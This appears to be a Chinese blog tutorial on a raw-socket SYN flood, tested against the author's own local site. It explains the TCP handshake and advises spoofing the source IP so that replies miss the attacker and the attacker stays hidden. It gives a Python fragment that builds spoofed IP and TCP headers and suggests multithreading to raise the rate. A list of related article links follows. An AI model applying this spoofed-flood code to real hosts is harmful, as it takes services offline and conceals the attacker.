基于SOCK_RAW的泛洪攻击

一、基础环境

网站所在系统环境: Windows 10 专业版

程序运行环境: Linux ubuntu 5.9.1

监测软件: Wireshark 3.4.3
语言: Python

二、攻击原理

在基本的传输控制协议TCP中,发送方与接收方在正式收发数据前会先进行“三次握手”,即发送方首先发送SYN数据包,请求确认;接收方收到后发送ACK+SYN数据包;发送方收到确认后回复ACK数据包,到此正式建立链接,可以开始传输数据了。

DoS攻击中的泛洪攻击原理就在于利用这三次握手的过程,向服务器端发送大量的半连接请求,服务器接收到连接请求(SYN)后,会发送确认包并进入等待确认状态,当该类无效请求达到一定的数量后,服务器就无法响应正常的请求,造成网络拥塞。

三、过程

1. 分析SYN数据包

一个正常访问百度时,抓取的SYN数据包的具体内容:
包含四部分内容,Ethernet Ⅱ 头,IPv4 头,TCP 头,自定义数据;其中Ethernet Ⅱ是工作在数据链路层,提供介质访问并管理链路,在Socket编程中,我们可以不关心其具体的内容。

IP协议工作在网络层,功能是寻址和路由选择,所以在IP头部中要指明源

IP和目的IP地址,另外还有其他相关属性信息位,如下图所示:

TCP协议工作在传输层,通过该协议建立端到端连接,所以其中包含目的和源端口号,以及三次握手过程会涉及到的序号,确认号,ACK、SYN等标志位信息。

2. 明确构造内容

1)伪造源IP地址

在TCP握手协议中,服务器端在接收到请求后会返回确认信息,在DoS攻击中,如果攻击者发送到数据包中是真实地址,那么海量的数据同样会从服务器端返回到自身,造成自身端口阻塞。所以,泛洪攻击中很重要的一点是伪造源地址,这样也能够达到隐藏自身的目的。

2)构造TCP头

通过合理设置SYN,ACK等标志位以及相关属性,就能让服务器将我们构造的数据包识别为正常的访问申请,进入握手协议中的等待确认阶段,达到浪费服务器资源的目的。

3. 使用工具

Socket技术给程序员提供了操作这些协议的接口,在此就利用该种技术,实现我们的目的在第2步中,我们知道了我们要编辑的协议内容,所以根据这样的需求选择构造原始套接字(SOCK_RAW),通过这类套接字开发人员可发送自己组装的数据包到网络上,这就我们构造自己的SYN数据包提供了可能。

4. 具体实现

具体的构造内容就可以根据抓取到的正常的的数据包进行标记,在这个过程中就可以把我们 伪造的源地址嵌入其中,其中要注意的原始套接字中构造TCP协议头时,还需要自己计算校验 和,具体实现参考源码。

   #IP headerVersion=4 #4bitIHL=5 #4bitVersion_IHL = (Version << 4) +IHLtos=0 #Type of service 8bittl=4 #total length (16bit)id=0 #(16bit)frag_off=0# Fragment Offset 13bitttl=64 #time to live protocol=socket.IPPROTO_TCP#(8bit)check=0 #checksum (16bit)s_addr=inet_aton(self.ip)d_addr=inet_aton(self.tgt_ip)#pack方法自己查哟ip_header = pack('!BBHHHBBH4s4s',Version_IHL,tos,tl,id,frag_off,ttl,protocol,check,s_addr,d_addr)
 #TCP headersource = 59796 # 16dest = 8016 #16seq = 0 #32ack_seq = 0#  32 acknowledgement numberdoff = 5 #4 data offset#FLAG biturg = 0 #URG urgent pointerack = 0 # ACKpsh = 0 # PSHrst = 0 #syn = 1 #fin = 0 #window = htons(5840) #16 window sizecheck = 0 # 16 TCP check sumurg_prt = 0 #16 urgent pointer offset_res = (doff << 4)+0 tcp_flags = fin + (syn << 1) + (rst << 2) + (psh << 3) + (ack << 4) + (urg << 5) #6tcp_header=pack('!HHLLBBHHH',source,dest,seq,ack_seq,offset_res,tcp_flags,window,check,urg_prt)src_addr = inet_aton(self.ip)dst_addr = inet_aton(self.tgt_ip)place = 0protocol = socket.IPPROTO_TCPtcp_length = len(tcp_header)psd_header = pack('!4s4sBBH',src_addr,dst_addr,place,protocol,tcp_length);psd_header = psd_header + tcp_header;#先把ck_sum的位置留出来,然后计算得到结果后,再重新组装tcp_checksum = self.checksum1(psd_header)tcp_header = pack('!HHLLBBH',source,dest,seq,ack_seq,offset_res,tcp_flags,window)+ pack('H' , tcp_checksum) + pack('!H' ,urg_prt)

另外,为了能够发送足够的数据包,可以利用多线程技术,这样可大大提升发送速度。
linux的多线程就很easy了

5. 测试攻击效果

​ 1)部署网站

​ 将过去编写的一个极其简陋的网页部署在了本地(win10),限制信息如下:

​ 2)攻击测试

​ 在这个过程中,发现了一个问题,Window下无法发送原始套接字,总是会提示无效参数,通过阅读微软官方文档,发现Windows对要发送的包作了限制,如果源IP地址不正确,恶意代码不能通过伪造的源IP地址进行拒绝服务攻击,也不能发送IP欺骗数据包。

​ 所以,解决方式就是,转去linux运行,稍微修改thread等格式,就可以成功运 行了。

​ 3)抓包观察

​ 可以看到短时间内该网站接受了大量的访问请求,且成功了伪造了IP地址,

基于SOCK_RAW的泛洪攻击相关推荐

  1. python实现局域网攻击_mac泛洪攻击arp欺骗(python脚本)

    mac地址泛洪攻击 原理:传统的交换机在数据转发过程中依靠对CAM表的查询来确定正确的转发接口,一旦在查询过程中无法找到相关的目的MAC对应的条目,此数据帧将作为广播帧来处理,CAM表的容量有限,只能 ...

  2. 防止SYN泛洪攻击 开启路由器的TCP拦截

    (转载请告诉原作者)原文地址:点击打开链接 防止SYN泛洪攻击 开启路由器的TCP拦截 intercept,大多数的路由器平台都引用了该功能,其主要作用就是防止SYN泛洪攻击.SYN攻击利用的是TCP ...

  3. 泛洪攻击以及防护方法

    泛洪攻击种类: SYN泛洪攻击. SYN攻击利用的是TCP的三次握手机制,攻击端利用伪造的IP地址向被攻击端发出请求,而被攻击端发出的响应报文将永远发送不到目的地,那么被攻击端在等待关闭这个连接的过程 ...

  4. 企业网安全防范系列之一:MAC地址泛洪攻击

    MAC地址泛洪攻击 1.2层交换机是基于MAC地址去转发数据帧的. 2.转发过程中依靠对CAM表的查询来确定正确的转发接口. 3.一旦在查询过程中无法找到相关目的MAC对应的条目,此数据帧将作为广播帧 ...

  5. DHCP欺骗泛洪攻击、如何防御DHCP欺骗攻击——DHCP snooping技术、DHCP snooping配置命令

    目录 一.DHCP欺骗泛洪攻击 (1)钓鱼网站简介: (2)DNS的作用: (3)DHCP中继技术简介: (3-1)核心交换机DHCP配置命令: (4)dhcp欺骗详解: 第一步:pc2作为恶意攻击者 ...

  6. 浅析防御僵尸网络基于应用层的DDOS攻击

    近期数据显示,针对应用层的DDOS攻击有加速的趋势.据预测,基于应用层的DDOS攻击每年以三倍的速度增长,Gartner预测DDOS攻击会占2013年所有的应用层攻击中的25%左右.研究指出,黑客现在 ...

  7. 泛洪攻击(Flood)与TCP代理(TCP proxy)

    下文摘自H3C攻击防范指导手册 泛洪攻击 网络上常常会发生泛洪攻击和网络扫描攻击.泛洪攻击指攻击者向攻击目标发送大量的虚假请求,驱使被攻击者由于不断应付这些无用信息而筋疲力尽,合法的用户却由此无法享受 ...

  8. 基于约束的SQL攻击

    基于约束的SQL攻击原理: 没有将字段设置为唯一字段,导致可以利用mysql会略去空格(前提:空格后面没有字符)这一特性,查询或插入敏感信息 先创建一个user表,定义三个字段(id.username ...

  9. 分分钟学会系列:mac地址泛洪攻击实验

    一.实验目的: 通过实战深入理解mac地址泛洪攻击的原理. 二.实验原理: 交换机中有一张非常重要的表,叫做mac表,这个表是一个硬件组成的表,主要是完成快速转发.mac表有大小限制,不同的交换机的m ...

最新文章

  1. java超级简单到爆的Excel导入导出(easypoi)
  2. 入职阿里啦!极客时间kotlin
  3. The POM for com.ruifeng.tjtaxiqy:shiro:jar:0.0.1-SNAPSHOT is missing, no dependency information avai
  4. Java Servlet总结
  5. vs c语言 多线程demo,一个多线程的Socket通信Demo(C语言实现)
  6. android timepicker分割线颜色,Android修改DatePicker字体颜色及分割线颜色详细介绍
  7. CSS彻底研究(3) - 浮动,定位
  8. 关于移动硬盘的$recycle.bin病毒的处理方法
  9. risksystem_环境风险评价系统(RiskSystem)
  10. 中海达手簿html测量报告,中海达GPS静态测量—内业解算导出报告(HGO静态解算软件教程)...
  11. android音乐播放器开发思路,手把手教你做音乐播放器(一)功能规划
  12. Navicat Premium 注册出现 No All Pattern Found! File Already Patched 处理方法(亲测有效)
  13. 14寸M1Pro-Max芯片款MAC安装Photoshop2021/2022安装教程硬核分享和激 活方式
  14. java实现qq页面登陆界面
  15. 常用统计量及其常见分布
  16. Git Bash 不能输入中文的简单解决办法
  17. 【二级等保】二级等保安全物理环境要求有哪些?
  18. 【报错解决】错误代码18456,SQL Server 登录失败
  19. PHP date() 和 strtotime() 使用详解
  20. java课程报告答辩_Java课程设计答辩之感想

热门文章

  1. GB/T 2423.16电工电子产品环境试验第⒉部分:试验方法试验J及导则:长霉
  2. cad展点插件lisp使用_单曲线坐标计算并展点用CAD_lisp函数
  3. php实现tcp连接esp8266,【零知ESP8266教程】WIFI TCP协议通信 TCP客户端示例
  4. 摆平各类目标检测识别AI应用,有它就够了
  5. 【图像压缩】自回归模型 《Joint Autoregressive and Hierarchical Priors for Learned Image Compression》
  6. C语言:实现一个函数itoa(int n,char s[]),将整数n这个数字转换为对应的字符串,保存到s中...
  7. RST切换成AHCI无法正常进入windows(装双系统Ubuntu)
  8. 【大数据入门核心技术-HBase】(七)HBase Python API 操作
  9. XDOJ-一元稀疏多项式计算器
  10. 超火的ChatGPT技术原理与我们关系